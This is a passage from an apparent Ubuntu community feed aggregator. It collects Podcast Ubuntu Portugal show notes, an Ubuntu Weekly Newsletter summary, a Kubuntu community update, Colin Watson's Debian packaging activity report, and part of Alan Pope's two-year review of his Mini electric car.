<p><a href="https://shop.nitrokey.com/shop?aff_ref=3">https://shop.nitrokey.com/shop?aff_ref=3</a></p>
</li>
<li>
<p><a href="https://masto.pt/@pup">https://masto.pt/@pup</a></p>
</li>
<li>
<p><a href="https://youtube.com/PodcastUbuntuPortugal">https://youtube.com/PodcastUbuntuPortugal</a></p>
</li>
</ul>
<h3 id="apoios">Apoios</h3>
<p>Podem apoiar o podcast usando os links de afiliados do Humble Bundle, porque ao usarem esses links para fazer uma compra, uma parte do valor que pagam reverte a favor do Podcast Ubuntu Portugal.
E podem obter tudo isso com 15 dólares ou diferentes partes dependendo de pagarem 1, ou 8.
Achamos que isto vale bem mais do que 15 dólares, pelo que se puderem paguem mais um pouco mais visto que têm a opção de pagar o quanto quiserem.
Se estiverem interessados em outros bundles não listados nas notas usem o link <a href="https://www.humblebundle.com/?partner=PUP">https://www.humblebundle.com/?partner=PUP</a> e vão estar também a apoiar-nos.</p>
<h3 id="atribuição-e-licenças">Atribuição e licenças</h3>
<p>Este episódio foi produzido por Diogo Constantino, Miguel e Tiago Carrondo e editado pelo <a href="https://senhorpodcast.pt/">Senhor Podcast</a>.
O website é produzido por Tiago Carrondo e o <a href="https://gitlab.com/podcastubuntuportugal/website">código aberto</a> está licenciado nos termos da <a href="https://gitlab.com/podcastubuntuportugal/website/main/LICENSE">Licença MIT</a>.
A música do genérico é: “Won’t see it comin’ (Feat Aequality & N’sorte d’autruche)”, por Alpha Hydrae e está licenciada nos termos da <a href="https://creativecommons.org/publicdomain/zero/1.0/">CC0 1.0 Universal License</a>.
Este episódio e a imagem utilizada estão licenciados nos termos da licença: <a href="https://creativecommons.org/licenses/by-nc-nd/4.0/">Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)</a>, <a href="https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode">cujo texto integral pode ser lido aqui</a>. Estamos abertos a licenciar para permitir outros tipos de utilização, <a href="https://podcastubuntuportugal.org/contactos">contactem-nos</a> para validação e autorização.</p>2024-03-14T00:00:00+00:00Diogo Constantino & Tiago CarrondoThe Fridge: Ubuntu Weekly Newsletter Issue 830
https://fridge.ubuntu.com/2024/03/11/ubuntu-weekly-newsletter-issue-830/
<figure class="wp-block-image"><img alt="" src="https://fridge.ubuntu.com/wp-content/uploads/2020/02/c9d7/header.png" /></figure>
<p>Welcome to the Ubuntu Weekly Newsletter, <strong>Issue 830 for the week of March 3 – 9, 2024</strong>. The full version of this issue is available <a href="https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-issue-830/43010">here</a>.</p>
<p>In this issue we cover:</p>
<ul><li>Ubuntu 24.04 Testing Week</li><li>Ubuntu Stats</li><li>Hot in Support</li><li>Invitación al 20º Flisol en Mérida, Venezuela</li><li>LoCo Events</li><li>Documentation Office Hours recording 1st March 2024</li><li>Include Performance tooling in Ubuntu</li><li>Kernel Accessories Seed and Metapackage</li><li>Ubuntu 20th Anniversary – Party Planning</li><li>UbuCon @ SCaLE 21x – Schedules and Call for Booth Volunteers</li><li>Other Community News</li><li>Canonical News</li><li>In the Blogosphere</li><li>Featured Audio and Video</li><li>Meeting Reports</li><li>Upcoming Meetings and Events</li><li>Updates and Security for Ubuntu 20.04, 22.04, and 23.10</li><li>And much more!</li></ul>
<p><strong>The Ubuntu Weekly Newsletter is brought to you by:</strong></p>
<ul><li>Krytarik Raido</li><li>Bashing-om</li><li>Chris Guiver</li><li>Wild Man</li><li>And many others</li></ul>
<p>If you have a story idea for the Weekly Newsletter, join the <a href="https://lists.ubuntu.com/mailman/listinfo/Ubuntu-news-team">Ubuntu News Team mailing list</a> and submit it. Ideas can also be added to the <a href="https://wiki.ubuntu.com/UbuntuWeeklyNewsletter/Ideas">wiki</a>!</p>
<div class="wp-block-image"><figure class="alignleft"><img alt="" src="https://fridge.ubuntu.com/wp-content/uploads/2015/05/ab28/CCL.png" /></figure></div>
<p><a href="https://fridge.ubuntu.com/2024/03/11/ubuntu-weekly-newsletter-issue-830/"></a>.</p>2024-03-11T21:14:53+00:00guivercKubuntu General News: Kubuntu Community Update – March 2024
https://kubuntu.org/news/kubuntu-community-update-march-2024/
<p>Greetings, Kubuntu enthusiasts! It’s time for our regular community update, and we’ve got plenty of exciting developments to share from the past month. Our team has been hard at work, balancing the demands of personal commitments with the passion we all share for Kubuntu. Here’s what we’ve been up to:</p>
<figure class="wp-block-image size-large is-resized"><img alt="" height="686" src="https://kubuntu.org/wp-content/uploads/2020/11/029c/pexels-rfstudio-3811082.jpg" width="960" /></figure>
<h3>Localstack & Kubuntu Joint Press Release</h3>
<p><br />We’re thrilled to announce that we’ve been working closely with Localstack to prepare a joint press release that’s set to be published next week. This collaboration marks a significant milestone for us, and we’re eager to share the details with you all. Stay tuned!</p>
<h3>Kubuntu Graphic Design Contest</h3>
<p>Our <a href="https://kubuntu.org/news/kubuntu-graphic-design-contest/">Kubuntu Graphic Design contest</a>, initiative is progressing exceptionally well, showcasing an array of exciting contributions from our talented community members. The creativity and innovation displayed in these submissions not only highlight the diverse talents within our community but also contribute significantly to the visual identity and user experience of Kubuntu. We’re thrilled with the participation so far and would like to remind everyone that the contest remains open to applicants until the 31st of March, 2024. This is a wonderful opportunity for designers, artists, and enthusiasts to leave their mark on Kubuntu and help shape its aesthetic direction. If you haven’t submitted your work yet, we encourage you to take part and share your vision with us. Let’s continue to build a visually stunning and user-friendly Kubuntu together</p>
<h3>Kubuntu Wiki Support Forum</h3>
<p><br />Our search for a new home for the Kubuntu Wiki Support Forum is progressing well. We understand the importance of having a reliable and accessible platform for our users to find support and share knowledge. Rest assured, we’re on track to make this transition as smooth as possible.</p>
<h3>New Donations Platforms</h3>
<p><br />In our efforts to ensure the sustainability and growth of Kubuntu, we’re in the process of introducing new donation platforms. Jonathan Riddell is at the helm, working diligently to align our financial controls and operations. This initiative will help us better serve our community and foster further development.</p>
<h3>Collaboration with Kubuntu Focus</h3>
<p><br />Exciting developments are on the horizon as we collaborate with <a data-id="https://kfocus.org/" data-type="URL" href="https://kfocus.org/">Kubuntu Focus </a>to curate a new set of developer tools. While we’re not ready to divulge all the details just yet, we’re confident that this partnership will yield invaluable resources for cloud software developers in our community. More information will be shared soon.</p>
<h3>Kubuntu Matrix Communication</h3>
<p><br />We’re happy to report that our efforts to enhance communication within the Kubuntu community have borne fruit. We now have a dedicated Kubuntu Space on <a data-id="https://ubuntu.com/community/communications/matrix" data-type="URL" href="https://ubuntu.com/community/communications/matrix">Matrix</a>, complete with channels for <a href="https://matrix.to/#/#kubuntu-devel:ubuntu.com">Development</a>, <a data-id="https://matrix.to/#/#kubuntu-discuss:ubuntu.com" data-type="URL" href="https://matrix.to/#/#kubuntu-discuss:ubuntu.com">Discussion</a>, and <a data-id="https://matrix.to/#/#kubuntu-support:ubuntu.com" data-type="URL" href="https://matrix.to/#/#kubuntu-support:ubuntu.com">Support</a>. This platform will make it easier for our community to connect, collaborate, and provide mutual assistance.</p>
<h3>A Word of Appreciation</h3>
<p><br />The past few weeks have been a whirlwind of activity, both personally and professionally. Despite the challenges, the progress we’ve made is a testament to the dedication and hard work of everyone involved in the Kubuntu project. A special shoutout to <a data-id="https://www.scarlettgatelymoore.dev/" data-type="URL" href="https://www.scarlettgatelymoore.dev/">Scarlett Moore</a>, Aaron Rainbolt, Rik Mills and Mike Mikowski for their exceptional contributions and to the wider community for your unwavering support. Your enthusiasm and commitment are what drive us forward.</p>
<p>As we look towards the exciting release of Kubuntu 24.04, we’re filled with anticipation for what the future holds. Our journey is far from over, and with each step, we grow stronger and more united as a community. Thank you for being an integral part of Kubuntu. Here’s to the many achievements we’ll share in the days to come!</p>
<p>Stay connected, stay inspired, and as always, thank you for your continued support of Kubuntu.</p>
<p>— The Kubuntu Team</p>2024-03-08T16:53:18+00:00Rick TimmisPodcast Ubuntu Portugal: E289 Uma Profusão De Abas Em Fogo
https://podcastubuntuportugal.org/e289/
<p>Depois de uma semana intensa a cozinhar gorduras numa roulotte, eis que nos aproximamos a velocidade vertiginosa das primeiras eleições legislativas de 2024 e do fim da democracia. Mas há razões para sermos optimistas: descascámos na falta de jeito da Google; em breve haverá Snaps aos montes para Ubuntu Touch; para quem gosta, o Firefox é bom para gerir uma catrefada de abas e a Nextcloud tem ferramentas mesmo mesmo mesmo boas para vocês descobrirem. Polémica da semana para incendiar as redes sociais com títulos bombásticos e tergiversados: o Diogo odeia a Mozilla!!! \[é falso, mas o que interessa é ganhar cliques, queriam jornalismo, não?\].</p>
<p>Já sabem: oiçam, subscrevam e partilhem!</p>
<ul>
<li>
<p><a href="https://pluralistic.net/2024/03/05/the-map-is-not-the-territory/#vapor-locksmith">https://pluralistic.net/2024/03/05/the-map-is-not-the-territory/#vapor-locksmith</a></p>
</li>
<li>
<p><a href="https://loco.ubuntu.com/teams/ubuntu-pt/">https://loco.ubuntu.com/teams/ubuntu-pt/</a></p>
</li>
<li>
<p><a href="https://shop.nitrokey.com/shop?aff_ref=3">https://shop.nitrokey.com/shop?aff_ref=3</a></p>
</li>
<li>
<p><a href="https://masto.pt/@pup">https://masto.pt/@pup</a></p>
</li>
<li>
<p><a href="https://youtube.com/PodcastUbuntuPortugal">https://youtube.com/PodcastUbuntuPortugal</a></p>
</li>
</ul>
<h3 id="apoios">Apoios</h3>
<p>Podem apoiar o podcast usando os links de afiliados do Humble Bundle, porque ao usarem esses links para fazer uma compra, uma parte do valor que pagam reverte a favor do Podcast Ubuntu Portugal.
E podem obter tudo isso com 15 dólares ou diferentes partes dependendo de pagarem 1, ou 8.
Achamos que isto vale bem mais do que 15 dólares, pelo que se puderem paguem mais um pouco mais visto que têm a opção de pagar o quanto quiserem.
Se estiverem interessados em outros bundles não listados nas notas usem o link <a href="https://www.humblebundle.com/?partner=PUP">https://www.humblebundle.com/?partner=PUP</a> e vão estar também a apoiar-nos.</p>
<h3 id="atribuição-e-licenças">Atribuição e licenças</h3>
<p>Este episódio foi produzido por Diogo Constantino, Miguel e Tiago Carrondo e editado pelo <a href="https://senhorpodcast.pt/">Senhor Podcast</a>.
O website é produzido por Tiago Carrondo e o <a href="https://gitlab.com/podcastubuntuportugal/website">código aberto</a> está licenciado nos termos da <a href="https://gitlab.com/podcastubuntuportugal/website/main/LICENSE">Licença MIT</a>.
A música do genérico é: “Won’t see it comin’ (Feat Aequality & N’sorte d’autruche)”, por Alpha Hydrae e está licenciada nos termos da <a href="https://creativecommons.org/publicdomain/zero/1.0/">CC0 1.0 Universal License</a>.
Este episódio e a imagem utilizada estão licenciados nos termos da licença: <a href="https://creativecommons.org/licenses/by-nc-nd/4.0/">Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)</a>, <a href="https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode">cujo texto integral pode ser lido aqui</a>. Estamos abertos a licenciar para permitir outros tipos de utilização, <a href="https://podcastubuntuportugal.org/contactos">contactem-nos</a> para validação e autorização.</p>2024-03-07T00:00:00+00:00Diogo Constantino & Tiago CarrondoColin Watson: Free software activity in January/February 2024
https://www.chiark.greenend.org.uk/~cjwatson/blog/activity-2024-02.html
<p>Two months into my <a href="https://www.chiark.greenend.org.uk/~cjwatson/blog/going-freelance.html">new gig</a> and it’s going
great! <a href="https://www.chiark.greenend.org.uk/~cjwatson/blog/task-management.html">Tracking my time</a> has taken a bit of
getting used to, but having something that amounts to a queryable database
of everything I’ve done has also allowed some helpful introspection.</p>
<p>Freexian <a href="https://www.freexian.com/about/debian-contributions/">sponsors</a> up
to 20% of my time on Debian tasks of my choice. In fact I’ve been spending
the bulk of my time on
<a href="https://freexian-team.pages.debian.net/debusine/">debusine</a> which is itself
intended to accelerate work on Debian, but more details on that later.
While I contribute to Freexian’s
<a href="https://www.freexian.com/tags/debian-contributions/">summaries</a> now, I’ve
also decided to start writing monthly posts about my free software activity
as many others do, to get into some more detail.</p>
<h2>January 2024</h2>
<ul>
<li>I <a href="https://salsa.debian.org/ci-team/autopkgtest/-/merge_requests/272">added Incus
support</a>
to autopkgtest. <a href="https://linuxcontainers.org/incus/">Incus</a> is a system
container and virtual machine manager, forked from <a href="https://github.com/canonical/lxd">Canonical’s
<span class="caps">LXD</span></a>. I switched my laptop over to it
and then quickly found that it was inconvenient not to be able to run
Debian package test suites using
<a href="https://manpages.debian.org/man/autopkgtest">autopkgtest</a>, so I tweaked
autopkgtest’s existing <span class="caps">LXD</span> integration to support using either <span class="caps">LXD</span> or Incus.</li>
<li>I discovered <a href="https://metacpan.org/dist/Perl-Critic">Perl::Critic</a> and
used it to tidy up some poor practices in several of my packages,
including debconf. Perl used to be my language of choice but I’ve been
mostly using Python for over a decade now, so I’m not as fluent as I used
to be and some mechanical assistance with spotting common errors is
helpful; besides, I’m generally a big fan of applying static analysis to
everything possible in the hope of reducing bug density. Of course, this
did result in a couple of regressions
(<a href="https://salsa.debian.org/pkg-debconf/debconf/-/commit/4f8b9f969679fa4a38aca8da2702057ea861ffae">1</a>,
<a href="https://salsa.debian.org/pkg-debconf/debconf/-/commit/7274bf66e82b2557156813f93ed0592539a2ac1c">2</a>),
but at least we caught them fairly quickly.</li>
<li>I did some overdue debconf maintenance, mainly around tidying up error
message handling in several places (<a href="https://bugs.debian.org/797071">1</a>,
<a href="https://bugs.debian.org/754123">2</a>,
<a href="https://bugs.debian.org/682508">3</a>).</li>
<li>I did some routine maintenance to move several of my upstream projects to
a new <a href="https://www.gnu.org/software/gnulib/manual/html_node/Stable-Branches.html">Gnulib stable
branch</a>.</li>
<li><a href="https://salsa.debian.org/debian/debmirror">debmirror</a> includes a <a href="https://salsa.debian.org/debian/debmirror/-/blob/master/mirror_size">useful
summary</a>
of how big a Debian mirror is, but it hadn’t been updated since 2010 and
the script to do so had bitrotted quite badly. I <a href="https://salsa.debian.org/debian/debmirror/-/commit/7ae93742377d9205c57b7e47ef96d4663110f0ff">fixed
that</a>
and added a recurring task for myself to refresh this every six months.</li>
</ul>
<h2>February 2024</h2>
<ul>
<li>Some time back I added AppArmor and seccomp confinement to man-db. This
was mainly motivated by a desire to <a href="https://forum.snapcraft.io/t/support-for-man-pages/2299/24">support manual pages in
snaps</a> (which
is <a href="https://bugs.launchpad.net/snapd/+bug/1575593">still open</a> several
years later …), but since reading manual pages involves a <a href="https://www.gnu.org/software/groff/">non-trivial
text processing toolchain mostly written in
C++</a>, I thought it was reasonable to
assume that some day it might have a vulnerability even though its track
record has been good; so <code>man</code> now restricts the system calls that
<code>groff</code> can execute and the parts of the file system that it can access.
I stand by this, but it did cause some problems that have needed a
succession of small fixes over the years. This month I issued
<a href="https://lists.debian.org/debian-lts-announce/2024/02/msg00001.html"><span class="caps">DLA</span>-3731-1</a>,
backporting some of those fixes to buster.</li>
<li>I spent some time chasing a <a href="https://bugs.debian.org/1063413">console-setup build
failure</a> following the removal of
kFreeBSD support, which was uploaded by mistake. I suggested a <a href="https://salsa.debian.org/holgerw/console-setup/-/merge_requests/1">set of
fixes</a>
for this, but the author of the change to remove kFreeBSD support decided
to take a different approach (fair enough), so I’ve abandoned this.</li>
<li>I updated the <a href="https://tracker.debian.org/pkg/zope.testrunner">Debian zope.testrunner
package</a> to 6.3.1.</li>
<li>openssh:<ul>
<li>A Freexian collaborator had a problem with automating installations
involving changes to <code>/etc/ssh/sshd_config</code>. This turned out to be
resolvable without any changes, but in the process of investigating I
noticed that my dodgy arrangements to avoid
<a href="https://manpages.debian.org/man/ucf">ucf</a> prompts in certain cases
had bitrotted slightly, which meant that some people might be prompted
unnecessarily. I <a href="https://salsa.debian.org/ssh-team/openssh/-/commit/b9671cc74475922fa61e9ebdba56ec84446d19ac">fixed this and arranged for it not to happen
again</a>.</li>
<li>Following a <a href="https://lists.debian.org/debian-devel/2024/02/msg00239.html">recent debian-devel
discussion</a>,
I realized that some particularly awkward code in the OpenSSH
packaging was now obsolete, and <a href="https://salsa.debian.org/ssh-team/openssh/-/commit/a6c7b9ef532489671e3a654ad38102cc30d94b5a">removed
it</a>.</li>
</ul>
</li>
<li>I backported a <a href="https://bugs.debian.org/1027387">python-channels-redis
fix</a> to bookworm. I wasn’t the first
person to run into this, but I rediscovered it while working on debusine
and it was confusing enough that it seemed worth fixing in stable.</li>
<li>I fixed a <a href="https://bugs.debian.org/1064699">simple build failure in
storm</a>.</li>
<li>I dug into a very confusing cluster of celery build failures
(<a href="https://bugs.debian.org/1056232">1</a>,
<a href="https://bugs.debian.org/1058317">2</a>,
<a href="https://bugs.debian.org/1063345">3</a>), and tracked the hardest bit down
to a <a href="https://github.com/python/cpython/issues/115874">Python 3.12
regression</a>, now fixed
in unstable thanks to Stefano Rivera. Getting celery back into testing
is blocked on the <a href="https://wiki.debian.org/ReleaseGoals/64bit-time">64-bit <code>time_t</code>
transition</a> for now, but
once that’s out of the way it should flow smoothly again.</li>
</ul>2024-03-04T10:39:50+00:00Colin WatsonAlan Pope: Mini EV: Two Years On
https://popey.com/blog/2024/03/mini-electric-two-years-on/
<p>tl;dr I have had a Mini EV for a little over two years, so I thought it was time for a retrospective. This isn’t so much a review as I’m not a car journalist. It’s more just my thoughts of owning an electric car for a couple of years.</p>
<p>I briefly talked about the car in episode <a href="https://linuxmatters.sh/24/">24</a> of <a href="https://linuxmatters.sh/">Linux Matters Podcast</a>, if you prefer a shorter, less detailed review in audio format.</p>
<p><a href="https://linuxmatters.sh/"><img alt="Mini Mini review" src="https://popey.com/blog/blog/images/2024-02-20/linuxmatters-banner-3000x750_30.png" /></a></p>
<p><em>Patreon <a href="https://linuxmatters.sh/support">supporters</a> of <a href="https://linuxmatters.sh/">Linux Matters</a> can get the show a day or so early, and without adverts.</em> 🙏</p>
<h2 id="introduction">Introduction</h2>
<p>In August 2020, amid <code>[The Event]</code>, and my approaching 50th birthday, I figured it was about time for a mid-life crisis. So, after a glass of wine, late one evening, I filled in a test-drive request form for a Tesla electric car.</p>
<p>I was surprised to get a call from a Tesla representative the next day to organise the booking. A week later, I turned up at the nearest Tesla “dealership” in an industrial estate near Heathrow Airport to pick up the car.</p>
<p>I had maybe twenty minutes to drive the car alone, on a fixed route, and then bring it back. I’d never driven a fully electric car before that, nor even been in one as a passenger, that I recall. I’ve been in countless Toyota Prius over the years as the go-to taxi for the discerning cabbie.</p>
<p>I had no intention of buying the car, so we parted ways after the drive. The salesman was phlegmatic about this. He said it didn’t matter because now I’ve driven one and had a positive experience, I’d be more likely to rent a Tesla or talk about the experience with friends.</p>
<p>Not yet done the former; definitely have done the latter.</p>
<h2 id="shopping-around">Shopping around</h2>
<p>A year later, my pangs for a new car continued. I also took a Citroen EC5 out for a spin and borrowed a Renault ZOE. Both were decent cars, but not really what I was after. The Citroen was too big, and the ZOE had an ugly, fat arse-end.</p>
<p>Then I took a look at the Mini. Initially, it wasn’t on my radar, but then I watched every video review and hands-on I could find. I was almost already sold on it when I took one out for a test drive. Indeed, after telling the amiable and chilled sales guy which cars I’d already test-driven, he said, “If you drive the Mini, you’ll buy it, not the others”.</p>
<p>“That is a bold claim!”, I thought.</p>
<p>He was right though. I bought one. Here it is some months later, at a “favourite” charging spot late one night.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/chippenham2.jpg"><img alt="Chippenham charging" src="https://popey.com/blog/blog/images/2024-03-03/chippenham2_50.jpg" /></a></p>
<p>I’ve had many cars over the years, some second-hand, a few hand-me-downs in the family, but never a new car for me, for my pleasure. I do enjoy driving, but less so commuting in traffic, which is handy now I’ve worked from home for over a decade.</p>
<p>Now the kids are grown up, and the wife has a slightly larger car if we all go somewhere. I can get away with a two-door car.</p>
<h2 id="specs">Specs</h2>
<p>I went for the “2021 BMW Mini Cooper Level 3”, as it’s known officially. The design is from 2019 and has been replaced in 2024. Level 3 refers to the car’s trim level and is one of the highest. There were a few additional optional extras, which I didn’t choose to buy.</p>
<p>The one option I wish I’d got is adaptive cruise control, which is handy on UK motorways. Dial in a speed and let the car adjust dynamically as the car in front slows or speeds up. My wife’s car has it, and I am mildly kicking myself I didn’t get it for the Mini.</p>
<p>The full spec and trim can be seen in the BMW <a href="https://popey.com/blog/blog/pdf/2024-03-03/BEV_MINI_Spec_Sheets_May_2021.pdf">PDF</a>. Here’s the page about my car’s specifications. Click to make it bigger.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/BEV_MINI_Spec_Sheets_May_2021-3_50.png"><img alt="Specification" src="https://popey.com/blog/blog/images/2024-03-03/BEV_MINI_Spec_Sheets_May_2021-3_50.png" /></a></p>
<p>I went for black paint and the “3-pin plug” inspired wheels. They’re quite quirky and look rather cool at low speed due to their asymmetry. Not that I see that view often, as I’m usually driving.</p>
<p>Here’s what it looks like when you’re speccing up the Mini online. This is a pretty accurate representation of the car.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/mini_ordering.jpg"><img alt="Ordering a Mini" src="https://popey.com/blog/blog/images/2024-03-03/mini_ordering.jpg" /></a></p>
<h2 id="driving">Driving</h2>
<p>The most important part of a car is how it drives. I love driving this thing. The Mini EV is <em>tremendously</em> fun to drive. It’s relatively quick off the mark, which makes it great for safe overtaking. Getting away from the lights is super fun too.</p>
<p>Being an EV, it’s got a heavy battery, so it’s doesn’t skip around much on the road. I’ve always felt in control of the car, as it drives very much like a go-cart, point-and-shoot.</p>
<p>Without a petrol engine, there’s certainly less noise and virbration while driving. Road and wind noise is audible, but it’s pretty pleasantly quiet when pootling around town. As required by law, it makes some interesting “spacey” noises at low speed, so pedestrians can hear you coming. Although I’ve surprised a few people and animals when they couldn’t.</p>
<p>Unlike the four-door Mini Clubman, it’s got long rimless doors, which make for getting in and out a bit easier. They also look cool. I’ve always enjoyed the look of a two-door coupe or hatchback car with rimless front windows.</p>
<p>There are four driving modes, Normal (the default), Sport, Green and Green+. Green+ is the eco-warrior mode which turns all the fans off, and reduces energy consumption quite a bit, extending the overall range. Sport is at the other end of the scale, consuming more power, being more responsive, and lighting the car interior in red, which is cute.</p>
<p>There are two levels of regenerative braking, which is on by default. I never change this setting, but you can. It means I can drive with one pedal, letting the regenerative braking reduce speed as I approach junctions or traffic. I rarely use the brake pedal at all.</p>
<p>The brake lights do illuminate when regenerative braking is occurring, which I’m sure is annoying for the person behind me when I’m hovering between go and stop. The car doesn’t come to a complete stop if you remove your feet from the pedals, so I do have to use the brake pedal to completely stop the car, which is a shame.</p>
<h2 id="driving-in-london">Driving in London</h2>
<p>London has a Congestion Charge (CC), and (controversial) Ultra Low Emissions Zone (ULEZ). Cars have to pay to enter the centre of London. There are some exceptions. As the Mini is electric, it currently doesn’t have to pay the CC. However in order to qualify for not paying the £15 daily charge, you have to pay a £10 annual charge.</p>
<p>I sometimes use “JustPark” to find interesting places to put the car while I’m in London. Here I found a spot in the grounds of an old church.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/church.jpg"><img alt="Parked in London" src="https://popey.com/blog/blog/images/2024-03-03/church_50.jpg" /></a></p>
<p>I have always loved driving in central London, I’ve used this perk a fair few times to drive into the centre of London for work, to meet friends or go out in the evening. It’s cheaper for me to drive into the centre of London and park than it is to get a return train ticket, which is mad.</p>
<h2 id="space">Space</h2>
<p>It’s a two-door car that can seat two adults comfortably in the front and two kids in the back. Or four adults uncomfortably as the legroom in the back is quite cramped. I never sit in the back, so I don’t care about that.</p>
<p>On the odd occasion, the four of us (two adults and two teenage kids) have been in the car together, it’s been fine. I wouldn’t do a long journey like that, though.</p>
<p>The seats are comfortable, even for a relatively long drive, and being small, everything is very much within reach. I’m almost 6ft tall and fit just fine. However, with the seat far back, my view of traffic lights when in the front of a queue is somewhat limited. The mirror also obscures my view more than most cars, as it’s parallel to my eyes rather than “up and to the left” as it would be in a larger cabin.</p>
<p>There are two sunroofs, each with a manual sliding mesh shade on the underside. The front roof can be tilted or slid open using a switch in the overhead panel. The rear sunroof doesn’t open.</p>
<h2 id="interior">Interior</h2>
<p>The interior is a mix of retro Mini styling and new fangled screens. It has a big round central circle harking back to the original Mini speedo. Here though, it contains a rectangular display. There are physical controls for air conditioning, seat warmers, parking assistance, media controls, navigation, the lot. While the display is a touch screen, that’s rarely needed when using the built-in software.</p>
<p>It looks like this, but with the steering wheel on the right (correct) side.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/interior.jpg"><img alt="Mini interior" src="https://popey.com/blog/blog/images/2024-03-03/interior_50.jpg" /></a></p>
<p>I should mention that I don’t like the buttons on the steering wheel, nor those immediately under the display. They’re flat rocker-style ones, which you have to look at to find. The previous generation of Mini had raised round buttons, which are much easier for fingers to find.</p>
<p>The built-in navigation system is pretty trashy, like most cars. I’ve never found a car with a decent navigation system that can beat Android Auto or Apple Car Play. I also like using Waze, Apple Maps, and a podcast app while driving.</p>
<p>In this photo, you can see the navigation display, which highlights the expected current range with the circle around the cars location. Also note the “mode” button which is one of the flat ones I dislike in the car. The lights around the display illuminate to show temperature of the heating, or volume of the audio system, while you adjust it.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/nav.jpg"><img alt="Navigation" src="https://popey.com/blog/blog/images/2024-03-03/nav_50.jpg" /></a></p>
<p>One benefit of the onboard navigation system is that driving instructions and lane recommendations appear on the Head-Up Display (HUD) in front of the driver. The downside of mobile apps on the mini is they don’t have access to the HUD, so I have to glance across at the central display to see where I need to turn. Alternatively, I could turn the volume on the mobile map app up, but that would interrupt podcasts in an annoying way.</p>
<p>I suspect this is a missing feature of the BMW on-board software, which may be fixed in a later release. I drove a brand new BMW which had a similar HUD that integrated with the navigation system on my phone. Mine doesn’t have that software though.</p>
<p>The back seats can be folded to provide more boot space, especially in a car with little luggage space. I’ve used the Mini for a ‘big shop’ with the seats folded down and can get plenty of ‘bags for life’ in there, full of groceries.</p>
<p>There’s the usual media controls on one side of the steering wheel, as well as cruise and speed limit control on the other. Window, sunroof and other important controls all have buttons in the expected places. A minimalist button Tesla, this is not.</p>
<p>There’s an induction phone charger inside the armrest. The best part about this is with Apple CarPlay, I can just hide the phone in there, charging, so I’m not distracted while driving. The worst part is I frequently forget the phone is in there, and leave it when walking away from the car.</p>
<h2 id="power">Power</h2>
<p>The Mini is a BEV (battery EV) instead of a PHEV (plug-in hybrid EV) - like a Prius or BMW i3, so it has no petrol engine but relies on the battery powering a single motor to propel the car.</p>
<p>The Mini is sold with only one battery option, a 30KwH capacity with an estimated 140-mile range. There’s a CCS (Combined Charging System (combo 2)) socket under a flap on the rear (right) driver’s side. So it can do slower AC charging or faster DC charging.</p>
<p>The car has all the cables required for charging from a 13-amp socket at home or a 7Kw domestic or public “slow” charger. Faster public chargers have integrated fat cables.</p>
<p>A few days before the car arrived, I had a charger installed at home on the outside wall of the house. I’m fortunate to have a driveway at the front of the house. So I typically park the car on it and plug in when I get out.</p>
<p>Sometimes, I forget or don’t bother if I know the battery still has plenty of charge and I do not have any upcoming long journeys. But more often than not, I try always to plug it in, even if it won’t be charging until the next day.</p>
<h2 id="charging">Charging</h2>
<p>In my personal experience, most charges are done at home. I have charged in many places away from home, but that’s not very common for me. The last time I <a href="https://popey.com/blog/blog/2023/08/charting-ev-car-charging/">checked</a> the stats, it had been around 86% charging at home and 14% on public chargers.</p>
<p>I often take a photo of the car while it’s charging in a public place. Usually to share on social media to spark a conversation about charging infrastructure. On this occasion I was using a charger in the car park at Chepstow Castle.</p>
<p>I know petrol heads often bleat about the very idea of waiting while the car fills up, but sometimes it leads to nice places, like this. This was a pretty slow charger, but I didn’t really care, as I had a castle to walk around!</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/dragon.jpg"><img alt="Dragon charging" src="https://popey.com/blog/blog/images/2024-03-03/dragon_50.jpg" /></a></p>
<p>Sometimes the locations are less pretty. This is Chippenham Pit-Stop, which does a great breakfast while you wait for your car to charge.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/chippenham.jpg"><img alt="Chippenham charging" src="https://popey.com/blog/blog/images/2024-03-03/chippenham_50.jpg" /></a></p>
<h2 id="ohme-at-home">Ohme at HOME</h2>
<p>My home charger is made by Ohme. It has a display and a few weatherproof buttons to be directly operated without needing an app. However, a few additional features are only available if the app is installed.</p>
<p>The Ohme app can access my energy provider via an API which lets the charger know when is the optimal time to start changing the car, from a pricing perspective. That seems to work well with Octopus Energy, my domestic provider.</p>
<p>It’s possible to define multiple charging schedules to ensure the car is ready for departure at the time you’re leaving.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/ohme.jpg"><img alt="Ohme" src="https://popey.com/blog/blog/images/2024-03-03/ohme_50.jpg" /></a></p>
<p>The Ohme app is also supposed to be able to talk to the BMW API with my credentials, in order to talk to the car. This has never worked for me. I have had calls and emails with Ohme about this, but I gave up in frustration. It just doesn’t work.</p>
<p>That doesn’t stop the car from actually charging though. Indeed, according to the stats in the app (which I only discovered while writing this blog) - I’ve charged for over 720 hours at home in the last twelve months. The dip in November & December is explained below under “Crash repair”.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/ohme_stats.jpg"><img alt="Ohme stats" src="https://popey.com/blog/blog/images/2024-03-03/ohme_stats_50.jpg" /></a></p>
<h2 id="issues">Issues</h2>
<p>There are a few issues I’ve had with the car.</p>
<h3 id="app-registration">App registration</h3>
<p>The car has its own mobile connectivity, and talks to BMW periodically. But for that to work, you have to successfully pair the car with your phone app. The pairing process between the mobile app and the car itself should just be a case of entering the Vehicle Identification Number in the app. Sadly this didn’t work. I don’t know what was wrong, but it took around two weeks for it to be fixed.</p>
<h3 id="home-sweet-home">Home Sweet Home</h3>
<p>The onboard navigation system had my address wrong. The house number it showed for my home doesn’t exist, and mine wasn’t in the database. The house has been here and numbered correctly for over 50 years. It was only a minor thing because I happened to know where I lived, and how to get there. It just irritated me that my own car, on my driveway, thought it was somewhere else.</p>
